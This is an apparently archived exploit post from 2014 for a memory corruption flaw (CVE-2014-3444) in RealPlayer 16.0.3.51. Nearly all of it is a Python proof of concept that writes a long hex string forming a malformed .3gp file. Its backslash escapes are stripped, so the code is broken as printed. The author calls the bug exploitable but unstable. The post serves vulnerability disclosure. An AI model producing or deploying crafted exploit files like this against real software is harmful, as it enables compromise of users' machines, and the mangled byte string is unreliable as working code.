Home / exploits Realplayer 16.0.3.51 Memory Corruption
Posted on 16 May 2014
# Exploit Title: [Realplayer memory corruption in latest Version 16.0.3.51 ] # Date: [2014/05/13] # Exploit Author: [Aryan Bayaninejad] # Linkedin : [https://www.linkedin.com/profile/view?id=276969082] # Vendor Homepage: [www.real.com] # Software Link: [ http://www.filehippo.com/download_realplayer/download/9b931239de41b8dce664656f25e1c28b/ ] # Version: [Version 16.0.3.51 and prior to that] # Tested on: [Windows Xp Sp 3 x86, Windows 7 Sp1 x86] # CVE : [CVE-2014-3444] details: Realplayer latest version 16.0.3.51 suffers from an memory corruption Vulnerability via a malformed .3gp file format when load RealPlayercodecsdmp4.dll . ####Note:it's Exploitable , But Not Stable.#### Poc: #!/usr/bin/python data ="x00x00x00x18x66x74x79x70x33x67x70x36x00x00x01x00x69x73x6Fx6Dx33x67x70x36x00x00 x0Fx2Dx6Dx6Fx6Fx76x00x00x00x6Cx6Dx76x68x64x00x00x00x00xCCx8CxBAxF2xCCx8CxBAxF2x00x00x02x58 x00x00x19xFAx00x01x00x00x01x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x40x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x03x00x00x00x15x69 x6Fx64x73x00x00x00x00x10x07x00x4FxFFxFFx28x08xFFx00x00x05xA4x74x72x61x6Bx00x00x00x5Cx74 x6Bx68x64x00x00x00x01xCCx8CxBAxF2xCCx8CxBAxF2x00x00x00x01x00x00x00x00x00x00x19xFAx00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x40x00x00x00x00xB0x00x00x00x90x00x00x00x00x05 x40x6Dx64x69x61x00x00x00x20x6Dx64x68x64x00x00x00x00xCCx8CxBAxF2xCCx8CxBAxF2x00x00x00x0Cx00 x00x00x85x55xC4x00x00x00x00x00x4Cx68x64x6Cx72x00x00x00x00x00x00x00x00x76x69x64x65x00x00x00 x00x00x00x00x00x00x00x00x00x49x73x6Fx4Dx65x64x69x61x20x46x69x6Cx65x20x50x72x6Fx64x75x63x65 x64x20x62x79x20x47x6Fx6Fx67x6Cx65x2Cx20x35x2Dx31x31x2Dx32x30x31x31x00x00x00x04xCCx6Dx69 x6Ex66x00x00x00x14x76x6Dx68x64x00x00x00x01x00x00x00x00x00x00x00x00x00x00x00x24x64x69x6Ex66 x00x00x00x1Cx64x72x65x66x00x00x00x00x00x00x00x01x00x00x00x0Cx75x72x6Cx20x00x00x00x01x00x00 x04x8Cx73x74x62x6Cx00x00x00xB8x73x74x73x64x00x00x00x00x00x00x00x01x00x00x00xA8x6Dx70x34x76 x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xB0x00x90x00x48 x00x00x00x48x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x18xFFxFFx00x00x00x52x65x73x64x73x00x00x00x00 x03x44x00x00x00x04x3Cx20x11x00x07x61x00x01x19xE8x00x00xCDxE0x05x2Dx00x00x01xB0x08x00x00x01 xB5x89x13x00x00x01x00x00x00x01x20x00xC4x8Dx88x00x65x05x84x12x14x63x00x00x01xB2x4Cx61x76x63 x35x32x2Ex34x31x2Ex30x06x01x02x00x00x00x18x73x74x74x73x00x00x00x00x00x00x00x01x00x00x00x85 x00x00x00x01x00x00x00x1Cx73x74x73x73x00x00x00x00x00x00x00x03x00x00x00x01x00x00x00x3Dx00x00 x00x79x00x00x01x00x73x74x73x63x00x00x00x00x00x00x00x14x00x00x00x01x00x00x00x07x00x00x00x01 x00x00x00x02x00x00x00x06x00x00x00x01x00x00x00x04x00x00x00x05x00x00x00x01x00x00x00x05x00x00 x00x06x00x00x00x01x00x00x00x06x00x00x00x05x00x00x00x01x00x00x00x07x00x00x00x06x00x00x00x01 x00x00x00x09x00x00x00x05x00x00x00x01x00x00x00x0Ax00x00x00x06x00x00x00x01x00x00x00x0Bx00x00 x00x05x00x00x00x01x00x00x00x0Cx00x00x00x06x00x00x00x01x00x00x00x0Dx00x00x00x05x00x00x00x01 x00x00x00x0Ex00x00x00x06x00x00x00x01x00x00x00x10x00x00x00x05x00x00x00x01x00x00x00x11x00x00 x00x06x00x00x00x01x00x00x00x12x00x00x00x05x00x00x00x01x00x00x00x13x00x00x00x06x00x00x00x01 x00x00x00x14x00x00x00x05x00x00x00x01x00x00x00x15x00x00x00x06x00x00x00x01x00x00x00x17x00x00 x00x05x00x00x00x01x00x00x00x18x00x00x00x03x00x00x00x01x00x00x02x28x73x74x73x7Ax00x00x00x00 x00x00x00x00x00x00x00x85x00x00x07x61x00x00x00xB6x00x00x01x72x00x00x01x70x00x00x01xDCx00x00 x01xFFx00x00x02x54x00x00x02x37x00x00x02x25x00x00x02x48x00x00x02x2Cx00x00x02x3Bx00x00x02x62 x00x00x02x4Ex00x00x02x81x00x00x02xD9x00x00x03x05x00x00x02x5Fx00x00x03x8Bx00x00x02xDDx00x00 x02xB8x00x00x02xD7x00x00x02x90x00x00x02xA3x00x00x02x33x00x00x02x3Ex00x00x02x2Fx00x00x02x22 x00x00x02x31x00x00x02x0Cx00x00x02x76x00x00x01xF4x00x00x02x03x00x00x02x22x00x00x04x27x00x00 x02x45x00x00x02x19x00x00x02x14x00x00x03x55x00x00x02x27x00x00x01xDFx00x00x03xDBx00x00x02x62 x00x00x02x20x00x00x03x5Dx00x00x01xE6x00x00x01xE3x00x00x03xA0x00x00x02x3Ax00x00x02x12x00x00 x03x4Cx00x00x01xD4x00x00x01xD2x00x00x01xC5x00x00x04x0Bx00x00x02x08x00x00x01xFAx00x00x03x68 x00x00x01xC6x00x00x01x94x00x00x05x5Ex00x00x00xFDx00x00x02xF1x00x00x03xCCx00x00x02x4Ax00x00 x03x47x00x00x01x71x00x00x01x77x00x00x01xA5x00x00x01x1Dx00x00x02x31x00x00x02x6Cx00x00x02 x5Fx00x00x02x2Ax00x00x01xD3x00x00x02x1Dx00x00x01x71x00x00x02x04x00x00x02x7Dx00x00x01x62x00 x00x01x9Ex00x00x01x7Dx00x00x01xBCx00x00x01xADx00x00x01xDCx00x00x01x76x00x00x01xBFx00x00x01 x48x00x00x01xD7x00x00x02x29x00x00x02x03x00x00x02x7Cx00x00x01x77x00x00x01x6Fx00x00x01x2Ax00 x00x01xE0x00x00x01x7Ex00x00x01x72x00x00x01x81x00x00x01x90x00x00x01xC4x00x00x01x1Bx00x00x01 x73x00x00x02x02x00x00x01x36x00x00x01x5Ax00x00x01x8Cx00x00x02x1Bx00x00x01xB7x00x00x01xC2x00 x00x01xACx00x00x01xDAx00x00x01x8Bx00x00x01x63x00x00x01xB5x00x00x01x76x00x00x01x52x00x00x01 x84x00x00x01x6Cx00x00x01xBFx00x00x06x65x00x00x01x86x00x00x02x03x00x00x00xEFx00x00x01xE1x00 x00x03x13x00x00x02x40x00x00x01x86x00x00x01xB0x00x00x01xD1x00x00x01x78x00x00x01xE5x00x00x01 xD6x00x00x00x70x73x74x63x6Fx00x00x00x00x00x00x00x18x00x00x0Fx4Dx00x00x27x20x00x00x39xD5x00 x00x4FxCFx00x00x62xBAx00x00x75x1Dx00x00x87x37x00x00x9Ax85x00x00xAFx7Bx00x00xC2x04x00x00xD6 x7Dx00x00xE8xA2x00x00xFCx16x00x01x0BxC2x00x01x1Cx5Dx00x01x2Bx87x00x01x3Ax12x00x01x49x8Dx00 x01x56x5Bx00x01x65x6Cx00x01x73x63x00x01x81x9Ex00x01x95x8Fx00x01xA5x54x00x00x06x0Dx74x72x61 x6Bx00x00x00x5Cx74x6Bx68x64x00x00x00x01xCCx8CxBAxF2xCCx8CxBAxF2x00x00x00x02x00x00x00x00x00 x00x19xE7x00x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x00x01x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x40x00x00x00x00x00x00x00x00 x00x00x00x00x00x05xA9x6Dx64x69x61x00x00x00x20x6Dx64x68x64x00x00x00x00xCCx8CxBAxF2 xCCx8CxBAxF2x00x00x56x22x00x03xB8x00x55xC4x00x00x00x00x00x4Cx68x64x6Cx72x00x00x00x00x00x00 x00x00x73x6Fx75x6Ex00x00x00x00x00x00x00x00x00x00x00x00x49x73x6Fx4Dx65x64x69x61x20x46x69 x6Cx65x20x50x72x6Fx64x75x63x65x64x20x62x79x20x47x6Fx6Fx67x6Cx65x2Cx20x35x2Dx31x31x2Dx32x30 x31x31x00x00x00x05x35x6Dx69x6Ex66x00x00x00x10x73x6Dx68x64x00x00x00x00x00x00x00x00x00x00x00 x24x64x69x6Ex66x00x00x00x1Cx64x72x65x66x00x00x00x00x00x00x00x01x00x00x00x0Cx75x72x6Cx20x00 x00x00x01x00x00x04xF9x73x74x62x6Cx00x00x00x69x73x74x73x64x00x00x00x00x00x00x00x01x00x00x00 x59x6Dx70x34x61x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x00x00x01x00x10x00x00x00x00x56 x22x00x00x00x00x00x35x65x73x64x73x00x00x00x00x03x27x00x00x00x04x1Fx40x15x00x00xD4x00x00x68 x50x00x00x5DxF8x05x10x13x88x00x00x00x00x00x00x00x00x00x00x00x00x00x00x06x01x02x00x00x00x18 x73x74x74x73x00x00x00x00x00x00x00x01x00x00x00xEEx00x00x04x00x00x00x00x34x73x74x73x63x00x00 x00x00x00x00x00x03x00x00x00x01x00x00x00x0Bx00x00x00x01x00x00x00x02x00x00x00x0Ax00x00x00x01 x00x00x00x18x00x00x00x07x00x00x00x01x00x00x03xCCx73x74x73x7Ax00x00x00x00x00x00x00x00x00x00 x00xEEx00x00x00x8Bx00x00x00x8Bx00x00x00xD4x00x00x00xB2x00x00x00xA4x00x00x00x91x00x00x00x90 x00x00x00x92x00x00x00x90x00x00x00x92x00x00x00x96x00x00x00x89x00x00x00x82x00x00x00x84x00x00 x00x9Ax00x00x00x8Bx00x00x00x92x00x00x00x89x00x00x00x80x00x00x00x7Bx00x00x00x7Ex00x00x00x87 x00x00x00x90x00x00x00x88x00x00x00x82x00x00x00x82x00x00x00x81x00x00x00x9Dx00x00x00x9Ax00x00 x00x88x00x00x00x80x00x00x00x87x00x00x00x84x00x00x00x88x00x00x00x8Ax00x00x00x82x00x00x00x85 x00x00x00x8Fx00x00x00x8Bx00x00x00x84x00x00x00x8Ax00x00x00x88x00x00x00x8Ax00x00x00x8Cx00x00 x00x8Cx00x00x00x85x00x00x00x95x00x00x00x88x00x00x00x87x00x00x00x8Fx00x00x00x82x00x00x00x88 x00x00x00x93x00x00x00x8Ax00x00x00x92x00x00x00x86x00x00x00x88x00x00x00x89x00x00x00x86x00x00 x00x89x00x00x00x87x00x00x00x8Bx00x00x00x94x00x00x00x8Ax00x00x00x89x00x00x00x89x00x00x00x88 x00x00x00x8Ex00x00x00x8Ex00x00x00x8Dx00x00x00x95x00x00x00x8Dx00x00x00x86x00x00x00x8Ex00x00 x00x87x00x00x00x8Cx00x00x00x8Cx00x00x00x8Ex00x00x00x91x00x00x00x89x00x00x00x8Bx00x00x00x90 x00x00x00x85x00x00x00x8Ex00x00x00x8Ex00x00x00x8Ex00x00x00x8Bx00x00x00x8Bx00x00x00x90x00x00 x00x8Dx00x00x00x8Bx00x00x00x8Cx00x00x00x88x00x00x00x93x00x00x00x89x00x00x00x90x00x00x00x84 x00x00x00x90x00x00x00x7Fx00x00x00x8Ax00x00x00x90x00x00x00x8Dx00x00x00x8Cx00x00x00x8Dx00x00 x00x93x00x00x00x7Bx00x00x00x94x00x00x00x8Ax00x00x00x8Dx00x00x00x95x00x00x00x8Bx00x00x00x98 x00x00x00x8Fx00x00x00x8Bx00x00x00x89x00x00x00x8Fx00x00x00x87x00x00x00x8Bx00x00x00x90x00x00 x00x9Bx00x00x00x83x00x00x00x89x00x00x00x84x00x00x00x84x00x00x00x8Cx00x00x00x85x00x00x00 x8Ex00x00x00x95x00x00x00x92x00x00x00x8Ex00x00x00x84x00x00x00x8Bx00x00x00x8Ax00x00x00x89x00 x00x00x82x00x00x00x8Bx00x00x00x8Bx00x00x00x86x00x00x00x8Ax00x00x00x81x00x00x00x90x00x00x00 x85x00x00x00x88x00x00x00x8Ex00x00x00x93x00x00x00x91x00x00x00x85x00x00x00x81x00x00x00x81x00 x00x00x85x00x00x00x89x00x00x00x84x00x00x00x8Fx00x00x00x89x00x00x00x87x00x00x00x8Fx00x00x00 x90x00x00x00x8Fx00x00x00x86x00x00x00xA1x00x00x00x89x00x00x00x8Bx00x00x00x81x00x00x00x91x00 x00x00x8Cx00x00x00x8Dx00x00x00x92x00x00x00xAEx00x00x00x8Bx00x00x00x89x00x00x00x87x00x00x00 x8Fx00x00x00x85x00x00x00x90x00x00x00x8Ex00x00x00x8Ex00x00x00x8Ax00x00x00x82x00x00x00x8Bx00 x00x00x86x00x00x00x8Fx00x00x00x88x00x00x00x82x00x00x00x8Cx00x00x00x97x00x00x00x86x00x00x00 x85x00x00x00x8Cx00x00x00x89x00x00x00x90x00x00x00x88x00x00x00x8Cx00x00x00x99x00x00x00x8Ex00 x00x00x87x00x00x00x7Fx00x00x00x85x00x00x00x8Cx00x00x00x86x00x00x00x8Dx00x00x00x90x00x00x00 x83x00x00x00x8Fx00x00x00x91x00x00x00x9Ax00x00x00x88x00x00x00x89x00x00x00x84x00x00x00x8Bx00 x00x00x87x00x00x00x87x00x00x00x85x00x00x00x93x00x00x00x85x00x00x00x8Cx00x00x00x99x00x00x00 x8Ax00x00x00x89x00x00x00x88x00x00x00x8Ax00x00x00x8Dx00x00x00x82x00x00x00x8Cx00x00x00x8Bx00 x00x00x8Bx00x00x00x84x00x00x00x88x00x00x00x95x00x00x00x8Dx00x00x00x8Cx00x00x00x8Dx00x00x00 x90x00x00x00x8Dx00x00x00x88x00x00x00x8Ex00x00x00x91x00x00x00x98x00x00x00x88x00x00x00x70x73 x74x63x6Fx00x00x00x00x00x00x00x18x00x00x20x75x00x00x34x8Dx00x00x4Ax6Cx00x00x5Dx6Ex00x00 x6FxB9x00x00x81xD3x00x00x95x04x00x00xAAx08x00x00xBCx87x00x00xD1x10x00x00xE3x23x00x00xF6 x8Cx00x01x06x59x00x01x17x06x00x01x26x33x00x01x34x91x00x01x43xFCx00x01x50xEFx00x01x60x07x00 x01x6DxF6x00x01x7Cx33x00x01x90x1Bx00x01x9FxE9x00x01xAAx87x00x00x02xF3x75x64x74x61x00x00x02 xEBx6Dx65x74x61x00x00x00x00x00x00x00x21x68x64x6Cx72x00x00x00x00x00x00x00x00x6Dx64x69x72x61 x70x70x6Cx00x00x00x00x00x00x00x00x00x00x00x02xBEx69x6Cx73x74x00x00x00x19x67x73x73x74x00x00 x00x11x64x61x74x61x00x00x00x01x00x00x00x00x30x00x00x00x1Dx67x73x74x64x00x00x00x15x64x61x74 x61x00x00x00x01x00x00x00x00x31x31x31x39x31x00x00x00x38x67x73x73x64x00x00x00x30x64x61x74x61 x00x00x00x01x00x00x00x00x42x42x43x35x44x41x45x30x37x48x48x31x33x34x39x33x37x31x38x39x31x39 x32x31x35x30x33x00x00x00x00x00x00x00x00x98x67x73x70x75x00x00x00x90x64x61x74x61x00x00x00x01 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x98x67x73x70x6Dx00x00x00x90x64x61x74x61x00x00 x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x18x67x73x68x68x00x00x01x10x64x61x74x61 x00x00x00x01x00x00x00x00x6Fx2Dx6Fx2Dx2Dx2Dx70x72x65x66x65x72x72x65x64x2Dx2Dx2Dx73x6Ex2Dx61 x30x6Ax70x6Dx2Dx61x30x6Dx65x2Dx2Dx2Dx76x32x30x2Dx2Dx2Dx6Cx73x63x61x63x68x65x37x2Ex63x2Ex79 x6Fx75x74x75x62x65x2Ex63x6Fx6Dx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00 x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x9Fx26x6Dx64 x61x74x00x00x01xB3x00x10x07x00x00x01xB6x10xC3x63x0Ax8DxBFx8DxB6xFEx36xDBxF8xDBx6FxE3 x6DxBFx8DxB6xFEx36xDBxF8xDBx6FxE3x6DxBFx8DxB6xFEx36xDBxF1x36xA1x6Ex1Bx17x50x91x96xE1xB1x73 xCExCBxD9xDEx58x49x51xBAx59xA4xAAxCFxA2x3Ax2ExD0x93x0Ex7Cx6Cx5Dx42x4AxD3x93x16xE1xB1x75x09 x19x6Ex1Bx17x3Fx7Ex48xCBx70xD8x52xCBx70xD8x53x9CxE8x65xB8x6Cx29xA1x05xAExF1x4AxFCx52x8AxA2 x44x8Fx87xBAxCDxB5x7ExB4xB2x1Bx58x8FxE6xE1xFBx5Dx50xA5x72x8Dx42x26x82xDCx36x14xC8xE0 x3Dx2DxE9xA5x85x09x7Cx8CxB7x0Dx8Bx9Fx94xE1xB0xA7x69x24x6Ax70xD8x52xD4xE1xB0xA5xBExCDxCBx70 xD8x53x94xE1xB0xA5xA1x82x79xF9x1Ax97x35x2ExCFx92x35x2Ex6Ax5CxF7x8Bx2AxDEx1DxB9xB2x90xD1 xFBx92x4Ex86x41x26x60x29x77xBEx6Cx6ExEAx0Bx24xE7x0Dx10xC2x9Dx02x14x68xD9xF2xBFx48x44xDCxB7 xE0x42x8Dx39x6ExF4x6Dx46x93x3Ex2Fx63x37xD5xFAx81x46x0Fx7Ax36x39x83xD3x41x5Cx97xC1x8FxE1x06 x2Cx4Fx7BxE6x68xDAxFBx29x2AxE1x33x0Fx99x51x9Dx66x29x43x73xD0xEDx4Bx90xB6xCFxA0x58x1BxD0 xABxEExB1xE5xBExDCxCBxC4x57x64x58x51xF5xCBx3ExB8x32x91xE6x03x01x59x4Ax27xF4x32x30x9Bx05 xEAx95xD5x0Dx5ExD4x68xACx0Ax7Ex46x7Fx1Fx29xA4x85x07xBExD7x8Fx36xE5x8Fx37xF8x0BxCDx82xADx20 x73x69x47xB4x24x9Fx17xB1xF6xE3x50xB7xB4xDCx92x22xE9x39xB2xCEx50x60x29x09x4Bx3Ax14xA1x93xA8 x9Bx5Cx18xA2x60x64x75x94x4CxD2x49x8Cx00xD3x76xCExB3x4DxEFx2ExA2xE9x04x88x0Dx4Bx73x66xD9 xABx76xFFx5FxAEx4CxCBx93x08x97xC5x1AxF6x7BxB3xD3x93xA1x32x68x82xCAxDAx78x68x3Dx4AxCBx53xC5 x96x4ExDBx2AxD2x85x2Ax05xE6x44xB0xEBxC0xAFx09xB5x12xA3x04xC3xD4xBFx57x26xB3x6Cx5Dx62xA9x05 xCEx0Ax87x12x03x07x7Ex29xA1x93xFCx82x7Fx8CxCBxE7x6Dx0Dx30x27x69x2BxCExDAx1Ax06x0FxB4x58x79 x26x76x7Cx35x3Cx4Dx22xA5x09x4Bx71x68x59xB2xC1xA6x11x97x8Cx82xBEx05x04x1Ax85x62x67x91x89 x9Bx69x63x7DxBBxC7x9FxD7x8FxB7xE5x16xCDxD9x6Cx5BxF6xA1x51x08xD6x8DxF9x4Fx31xABx74xA6x10xD7 x5Bx9Bx97x3DxBCxE0xD3x28xCCx6Fx1Bx5Ax77x61x6CxE9x2Fx42xD4x56xCBx29x67xB9x0Bx32x76x2CxA7xE7 x1DxF2x55x39x3AxAAx29xEAx0BxA4x51x55xA6x1Cx16x7Fx57x86x97x3Dx71x3Fx14x0DxF7x92xF0x3Cx47xD1 x4Dx19xBEx1Ex0DxC7xD4x33x3FxCDx57x7DxD4x39xE7x15x6BxD7xDBxFExB2xDBx65x50x3Bx40xB9x02x3FxF9 x6Cx5DxA0xC2x9Dx31x7ExCEx6Ax8Ex49x79xCExFFx48x1Dx68x6Cx5ExF3x56x84xEDxA1xB8x7Dx84x35x87x00 xAFxA1x42x7BxBFxF3x57x55xDCx5Ax81x4ExADx01x36x37x6Dx64xBBx79x19x9Ax20xF2x6Ax29x54x12xACxA7 x38x42x42x03xFFx57x13x02xD2x62x50xF1x9Dx6DxA4xF7xDCx55x3FxDExDBx22x92x88x8ExC3xE6x33x62 x9Ex67x49x49x85x6AxD5xABxA2x50x7Fx00xC3x2Cx7Fx9Fx44xBCxEAx8Ex9Ax45xB8xF3xE1x01xBDx67xD7 xFFxE7x54xEEx76x08xB3x39x43x37xD5x5ExD8x4Cx56x5Fx27xD2xB6x41x50xD0x38xAAxBCx57xFDx51x87xC6 x8DxA5x53x47xF6xADxD4x91x12x2ExE2x9Cx07x15xBAx97xD5xCFx0BxD4x08x14x19x18x3BxD4x29xCDx23x13 x2Ax24x77x35xB2x5Cx9Cx19x3Cx66x5Cx9Cx41x1DxD9x81xD7x98xF8xCExF7x3Bx42x45x58xDBx12x6Fx8DxB6 xE7x1Ex6FxFCx1AxE4x31xBAx3ExC3x41x26xC0xB4xCAx79xACx2BxCFx2Fx72xCExA9xD5xFAx37xA1x22xE3xA6 x76xB2xA3x79x65xCExA2x45xC0x94xB0xE5x56xCFx26xDDxC0x54x29x53xB4xD4x0Fx6Cx8BxD2x24xB3x1Ax61 xB1xC4x61x46xA8xEAx99xECx93x61x26xAFx6Fx10xB9xAFx49x1Fx62x3DxB8x06xBEx1Ex4ExF1x6Bx86x10x67 x3Ax32x62xA8xA0xA9xEAxC7x53x8Cx56x58xCFxE6xD9xD8x36x13xACx06xBDxB7x94xB5x42x8BxDExFExF5 x4Cx22x8Bx75x3Fx66x28x67x9DxCFxE7x37xB0xAEx4Dx46x4Ex93x7Fx54xCEx28x46x6AxC2x08x61x23 x1Ax9Bx0Ax94x37xB8x37x25x5Cx2AxF9xBCxCFxB1xB9x33xF3x2Ax29x17x58x54x59x36x59x44xD5x90x73x87 x8Bx30x9Ax2AxD2xFCxABxCCx50x9DxACx05x45x9BxEBxC2x85xF0x69xB1x65x89x20x50x4Bx7Dx6Ax7BxF1x13 x58xC6x38x87x14x6DxFFx49x7Bx56xE1x32x98x0BxE1x9Cx50x25x2Bx8Ax7Bx97x2ExF8x93x2DxCBx8ExE2x47 x31x32x60x54xEBx61x9Ex83x04x83x01xFFxC7x09x1Bx49x46xFDxC2xC2x56x94xF4x5Cx14x1Ax48x5ExA1x37 x39xDAx99xBCxDCx25xCDxB7xB0xA6x15x89x97x80x90xD9xA2xF6x47x19x09x6Fx06x68x1Cx92x55x59 xAAxBAxA3x8DxC8xA4x31xB0x95xC2x81xFFx8Bx53x6Ax89xDAx55xB0x6Ax89x74xBFx55x4Bx51x95xE0xC9x42 xD1xEEx40xE0x97x6Ax4Bx1ExB8x1Ex6Bx8DxB7xA1xB7x05xEEx37x16xBCx13x30x81xFBx59xFEx08x85x9BxA4 xA3x7Cx71xE4xC6xDEx69x63x79xBExC5x6Fx53xEFx47xBDxB4x90x1Cx50x13xECx47xF2x98x0Ex50xE4xFCx88 xC9x68x61x1CxDDx9Cx6CxBBxFFxFCxE2x89x14x49xDDxA8x46x47xC5x8Cx2DxE2xC6x7Fx9FxFCx45x64xDBx79 xC4x3Dx21x23x85x72x5BxDCx2DxF4xEDx80xE3x47xD7xF6xAAx0FxD4x42xDDxD2xCBx66xDDx59x44x88xB8 x8Dx4Dx14x4Cx36x23x9Fx51x93x33x2AxCBx11x57x54xDDx2Ax2Bx83x70x4CxD2xD9x27x25xE0x62x14xC6 x2DxBFxB5x15x5Dx74x76xA2x09xA1xD6x13xA6xE4xB2x48xA7x33x21x3DxB4x06x5BxA1xEDx03x1BxCEx70 xABxF3x9DxEFx44xF5x5Bx88x6Ex42x45xDEx83x57x25x51x10xF6x91x30x9Fx82x92xFCx3Fx9Fx35x13x17 xABx4CxD2xB9x07x33xB7x38x0Ex23x81x03xD3xCAx0Bx32x79x0Ex48x79x3CxD1x05x89xF4x43x79x40x96 xDCx09x8BxA0x3Ax61xFCxB4x37x0Bx73x84x46x63x41xF7x57x5Bx7BxDBx56xE5x88x86x27x69xAAxA5xA9x41 xC8xADx81x31x6FxE7xDBx97x16xCCxABx54x2FxD9x62x31x7Ax37x9Dx07x7ExDDxA2x76x21x03x01x7Fx83x06 x80xE2xB3x11x32xF8x73x95x6BxEFxF3x4Ax17x17x3Fx04x00x64x7Ax0Cx0AxE0x71x59 x8Fx8DxBCxEDx8AxDBxA7xF9x45x9Fx52xFFx94x8AxE3x87xD5xE8xA8x5AxD7xB0x8Bx49x4DxD2x3Dx67x4Ex50 xE3x09x41x1DxEFx13x5Cx3Dx1CxB4xDBx7BxCAx59xE8x38xB1x7DxA2x28x79x16xF6x53x74xF0xBFxD7x2Fx87 x39xEEx6DxEAxC3x6Dx59x00x2Fx82xA0x2Ax93x01x00x70x7AxD8x3Ex6FxFFx7Ex0Fx12x62x2Fx55xCDxB2 xAEx83x94xB6xFCxEAxB6x6Ex07xBCx06x47x7BxE9xBCxF1x28xC0x6Bx12x72xD2xAFxE0x6AxA2xECx86xD6 xBBx0ExA7x89x98xC1xB6x22xC9x83x7Fx8DxA2x28xB9x9Cx1Fx35xDBx54x23x9CxABxEAx21xACx3AxE7x85xE5 xB3x30x73x38x88x40xE8xCDx4Cx0AxD2xE7x2Fx60xD3x87xCCx07x02xFDx09x70x80xD1xA0x76xE8x4BxA8xB6 x79x50xADx4Dx11xBEx1Ex82xCCx34x14xD5x61xADx9CxB9xD9x49x68x4AxF9x70xD6x34x38x2CxC1xB4xB4x63 x75x48x52xB6xF7x77x99x20x9ExA2xA6x31x16x0BxF4x25xC1xF3x5DxEAx85xCAx74x25x66x5Fx8BxA3x15x54 x8Bx1Ex51x8BxA3x7Ax50x59x86x85xEFxA1xC7x91xF0x5FxA1x2Cx4Bx0Ax2AxD3x34x97x14x37x16xEFx4Dx51 x8Cx5CxF3x61x23x0Ax80xB7xA6x2DxCExAFxDEx14xDBx5Fx8Bx30xD0xBEx84xB4x20x34x6Ax83x0Cx5BxE0xC1 x49xE4x71x4CxDCx96x61xA1x7BxD9x66x1Ax17xBFx82xB1xA9x37xAAx56xE2x8DxB8x0Bx12x8Bx08x99x66 x1Ax0Ax59x66x1Ax17xBFxE9x89x65x98x68x29x65x98x68x29xA9x4Fx96x59x86x82x96xA3x0Dx05x33 x8CxABx6Dx64x6DxB7x97x1Bx6DxFCx6DxB7x78xDBx6Ex71xB6xDFxC6xDBx7Fx1Bx6DxFCx6DxB7xF1xB6xDFxC6 xDBx73x7Fx00x00x01xB6x51xE2x07xFFxB8xAEx0Ax72x5Cx7CxB3x61xAFx28x8Ax47xA6x5Dx77x2Ex56x38xF8 xE3x17x2Bx95xD5x85x24x7CxBFxCBxE5xE5x55x7Dx8Cx56xFBxEExAEx5Fx75x7DxF2x5Fx3BxA5x0BxBDx3Dx36 x2Dx47x14xD9x76x6DxA5x26xF7xC5xEFxF7x49xF7xDAxF5xA7x92xE9x2BxFExC6xACx4FxF2x81x6AxD8xD8 xEFx4Bx05x64x27xBAx8Dx64x25x75xE1x80x84x2Cx2Ax68xFDx06x27x09x77x97x16xD7x6ExD1x69xA9xD0x49 xD7x9Bx3FxCBxFCx9BxB6x56xFAx1Ax90x11x14xFDx67x21xE5x5Fx57x15x0Fx35xAFxD5x04x3Ax75x29x4BxC4 xB9x83xF5x64x62xABx6DxDBxA6xF7x24xD8xAFx7DxF7xCBx0Dx48xA0xF2xB4xCEx1BxF9x31x3BxEExB3xA5x59 x29x84xAEx7FxFFx7Fx00x00x01xB6x52xC2x27xFFxBAxB8x37x2AxC3x70xD9x3Fx2Bx45x2Cx11xB8x57x70 xDDx52x6Bx9ExDEx9Ex75x71x37x15x4Cx68x32x59x42x87x15xEFxA9xB4x18x8Cx94xCDx96xA1xC1x83xD9xD0 x4Dx09x64x15xAFxEBx02xC2x42xC1xEAx17x0Ax4Dx2Ax74xA2xEFx5Bx01x2Cx6Cx13x2Ex93x64x83x34xCDxB5 